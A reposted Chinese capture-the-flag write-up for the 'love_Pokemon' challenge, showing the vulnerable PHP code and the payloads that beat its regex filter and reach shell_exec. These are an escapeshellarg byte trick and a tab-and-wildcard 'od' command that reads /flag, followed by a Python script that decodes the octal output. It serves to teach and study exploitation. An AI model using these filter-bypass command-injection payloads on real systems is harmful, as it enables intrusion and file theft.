RCE_sample_ctf_questions(ing)

news/2025/2/21 3:02:27/文章来源:https://www.cnblogs.com/abigmalon/p/18555272

[广东强网杯 2021 团队组]love_Pokemon

考点:

  • 函数escapeshellarg/escapeshellcmd绕过正则匹配
  • 文件查看指令+通配符绕过正则匹配
点击查看代码
 <?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';if(!file_exists($dir)){mkdir($dir);
}function DefenderBonus($Pokemon){if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){die('catch broken Pokemon! mew-_-two');}else{return $Pokemon;}}function ghostpokemon($Pokemon){if(is_array($Pokemon)){foreach ($Pokemon as $key => $pks) {$Pokemon[$key] = DefenderBonus($pks);}}else{$Pokemon = DefenderBonus($Pokemon);}
}switch($_POST['myfavorite'] ?? ""){case 'picacu!':echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);break;case 'bulbasaur!':echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);$level = $_POST["levelup"] ?? "";if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){echo file_get_contents('./hint.php');}break;case 'squirtle':echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);break;case 'mewtwo':$dream = $_POST["dream"] ?? "";if(strlen($dream)>=20){die("So Big Pokenmon!");}ghostpokemon($dream);echo shell_exec($dream);
}?>

题解步骤


1、审计代码-根据提示查看./hint.php

payload - myfavorite=bulbasaur!&levelup=lv%81100
image

提交payload可以看到hint.php文件中给的提示:flag在/flag中


绕过原理

参考文章:https://blog.csdn.net/m0_75178803/article/details/134987976

函数escapeshellarg 用于将字符串转义为shell命令可执行的形式。windows-1252字符集中的不可见字符可以被这个函数消除,从而绕过preg_match



2、绕过waf函数,利用shell_exec获取flag

payload - myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G

image

获取到flag的8进制内容

原理

1、od在linux中的作用为:输出文件内容,将其内容以八进制字码呈现出来
2、%09为url编码中的空格
3、为了绕过preg_match使用统配[B-Z][@-Z]代替字符LA

3、使用python脚本跑出flag
点击查看代码
dump = "0000000 051516 041523 043124 062173 062545 034463 063144 026467 0000020 034460 032060 032055 061070 026471 030470 030544 033455 0000040 030141 034066 034470 062067 032145 076467 000012 0000055"
octs = [("0o" + n) for n in  dump.split(" ") if n]    #使用 dump.split(" ") 将这个字符串按空格分割成一个列表,其中可能包含空字符串
hexs = [int(n, 8) for n in octs]            #将八进制字符串转换为十进制整数
result = ""
for n in hexs:if (len(hex(n)) > 4):        swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)        #首先,将整数 n 左移8位(n << 8),然后将其与自身右移8位(n >> 8)的结果进行按位或操作(|),最后将结果与 0xFFFF 进行按位与操作(&),以确保结果是一个16位的数。这样做实际上是将整数的高8位和低8位进行了交换。result += swapped[2:].zfill(4)    #使用 hex() 函数将交换后的整数转换为十六进制字符串,并去掉前缀 "0x",然后通过切片和 zfill() 方法确保字符串长度为4(即一个字节的十六进制表示)。
print(bytes.fromhex(result).decode())        #bytes.fromhex(result) 将包含十六进制数字的字符串 result 转换为字节串。

得出flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/836893.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C# 注册Windows服务

环境:.NET Farmework 4.7.2 IDE:Visual Studio 2022 添加程序集引用: System.ServiceProcess System.Configuration.Install 右键项目,添加UpdateServices1类,让UpdateServices1继承ServiceBase(UpdateServices1换成自己的Services服务)编译过后如果需要更新服务代码,要…

20222321 2024-2025-1 《网络与系统攻防技术》 实验六实验报告

一、实验内容 本实践目标是掌握metasploit的用法。 、指导书参考Rapid7官网的指导教程。 https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/ 下载官方靶机Metasploitable2,完成下面实验内容: (1)前期渗透 ①主机发现(可用Aux中的arp_sweep,sea…

【刷题笔记】[BalticOI 2024] Portal

【刷题笔记】[BalticOI 2024] Portal \(Solution\) 先注意到,题目中的图形是许多的自相似图形,要求能满足要求的单位图形的最大面积 先考虑只有一维的情况, 设几个传送门的坐标为 \((a_i,0)\) ``` 发现将整个图形平移后答案不会改变,所以不妨把一个传送门移动到 \((0,0)\)…

关于作业系统的一些思考

作业程序有两种类型:Long-lived 作业程序:输入或输出是无限量的数据,常见近乎实时的业务数据处理,比如日志处理等。(一般将消息队列连接输入,用来做流量削峰或多个输入) Short-lived 作业程序:处理一组有限的数据然后终止。运行代码并在数据库中记录执行状态的任务,然…

安利一款好用的 gRPC 调试工具 Apifox

各位用gRPC的小伙伴们!今天要给大家安利一个超好用的gRPC调试神器 - Apifox!它对gRPC的支持真的是太友好了,让我们一起来看看~ gRPC 调试功能有多强?支持的调用类型 描述 使用场景一元调用 类似HTTP请求的简单调用 常规的请求-响应场景服务端流 服务器端持续推送数据 实时…

上门家政开发架构分析

随着科技的进步,手机被多数人使用,上门家政已成为家喻户晓的行业了,上门家政服务呈现出多元化、专业化、智能化等发展走向,上门家政到底时是走是留,何去何从呢? 服务专业化与精细化: 传统家政服务不断衍生出更多专业细分领域。例如在母婴护理方面,不再仅仅是简单照顾产…

抓包工具Fiddler安装及汉化

抓包工具Fiddler安装及汉化下载Fiddler 这里强烈建议大家在官网上下载安装,在此附上链接https://pan.quark.cn/s/e9447b1917b5(含汉化教程),在其它地方安装很有可能会给你再下一堆不必要的软件(垃圾全家桶)安装 点击文件夹里的 [FiddlerSetupy官网英文原版] 安装完成界面…

RCE

一、RCE(远程代码执行漏洞) owasp_top_10中,rce又称为os注入漏洞。 在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞。二、常见RCE漏洞函数 1.系统命令执行函数…

CTF_Web笔记_RCE

一、RCE(远程代码执行漏洞) owasp_top_10中,rce又称为os注入漏洞。 在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞。二、常见RCE漏洞函数 1.系统命令执行函数…

上门家政系统功能解析案例实战演练

上门家政 APP 平台的问世,在极大程度上化解了大众家庭中不愿做家务的难题,这让众多创业者从中看到了新的创业方向。他们觉得上门家政 APP 平台竞争小,易于复制,属于轻资产创业模式,经济负担不大,并且上线速度快,能够迅速抢占市场。上门家政 APP 平台主要涵盖用户端、家政…

DNS解析智能线路有何优势?

在当今数字化的网络环境中,DNS(域名系统)解析智能线路正逐渐成为提升网络性能和用户体验的关键技术。它具有诸多显著优势,深刻地影响着网络数据的传输和处理。 1、智能线路优化了网络访问速度 传统的DNS解析可能会将用户请求指向距离较远或网络拥塞路径上的服务器,导致数据…

MySQL 性能定位

一、SQL性能分析1.SQL执行频率MySQL 客户端连接成功后,通过 show [session|global] status 命令可以提供服务器状态信息。通过如下指令,可以查看当前数据库的 INSERT 、 UPDATE 、 DELETE 、 SELECT 的访问频次: -- session 是查看当前会话 ; -- global 是查询全局数…